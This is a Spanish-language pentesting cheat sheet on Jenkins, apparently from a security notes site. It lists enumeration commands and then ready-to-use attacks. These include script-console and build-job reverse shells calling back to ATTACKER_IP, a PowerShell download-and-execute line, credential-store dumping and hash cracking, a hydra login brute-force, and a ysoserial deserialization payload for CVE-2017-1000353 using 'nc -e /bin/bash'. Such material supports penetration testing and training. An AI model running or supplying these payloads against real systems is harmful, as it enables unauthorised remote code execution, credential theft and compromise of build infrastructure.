Skip to content

Jenkins - Discovery & Enumeration

Discovery/Footprinting

Identificación de Jenkins en una red

c
nmap -p 8080 --script http-title <IP>
c
whatweb http://<IP>:8080

Descubrimiento de Endpoints Sensibles

c
curl -s -X GET http://<IP>:8080/api/json

Obtener información del servidor Jenkins en formato JSON.

c
curl -s -X GET http://<IP>:8080/securityRealm/user/admin

Enumeración de Usuarios

c
hydra -L users.txt -P passwords.txt <IP> http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:F=Invalid"

Enumeración de Plugins Instalados

c
curl -s -X GET http://<IP>:8080/pluginManager/api/json?depth=1 | jq

Enumeración de Jobs y Builds

c
curl -s -X GET http://<IP>:8080/job/<JOB_NAME>/api/json

Obtener detalles de un job específico.

c
curl -s -X GET http://<IP>:8080/computer/api/json

Identificación de Configuraciones Débiles

c
curl -s -X GET http://<IP>:8080/config.xml

Verificar configuraciones globales de Jenkins.

c
curl -s -X GET http://<IP>:8080/manage

Attacking Jenkins

Explotación de Jenkins Script Console

Si el endpoint /script está accesible, se puede ejecutar código arbitrario:

c
curl -X POST http://<IP>:8080/scriptText --data-urlencode "script=println 'Hacked!'.execute().text"
  • Objetivo: Ejecutar comandos en el servidor.

Ejecutar un revershell en Linux:

c
def cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'".execute()
cmd.waitFor()

Ejecutar un revershell en Windows:

c
def cmd = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')".execute()
cmd.waitFor()

2. Explotación de Credenciales Expuestas

Si se puede acceder a credentials.xml:

c
curl -s -X GET http://<IP>:8080/credentials/store/system/domain/_/api/json
  • Buscar credenciales almacenadas.

Si se obtiene un hash:

c
john --wordlist=rockyou.txt hash.txt
  • Intentar descifrar contraseñas.

3. RCE a través de Build Jobs

Si tienes permisos para crear/modificar un Job:

  1. Crear un nuevo Job en /newJob.
  2. Configurar el Build con un comando malicioso:
  • Linux:
c
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Windows:
c
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')
  1. Ejecutar el Job y capturar la shell en el atacante:
c
nc -lvnp 4444

4. Explotación de Plugins Vulnerables

Buscar plugins vulnerables:

c
curl -s http://<IP>:8080/pluginManager/api/json?depth=1 | jq

Si se detecta Script Security Plugin (antes de 1.50), se puede ejecutar código arbitrario desactivando sandbox.

5. Privilege Escalation & Lateral Movement

Si se obtiene acceso a Jenkins:

c
whoami
id
cat /etc/passwd
  • Objetivo: Identificar privilegios y posibles movimientos laterales.

Si Jenkins está en modo Master-Slave, intentar ejecutar comandos en los agentes:

c
curl -X POST http://<IP>:8080/computer/slave-01/scriptText --data-urlencode "script=println 'whoami'.execute().text"

6. Deserialización & Exploits Públicos

Algunas versiones de Jenkins son vulnerables a deserialización remota (CVE-2017-1000353):

c
java -jar ysoserial.jar CommonsCollections6 "nc -e /bin/bash ATTACKER_IP 4444" | nc <IP> 8080
  • Objetivo: Exploitar Jenkins usando un exploit de deserialización.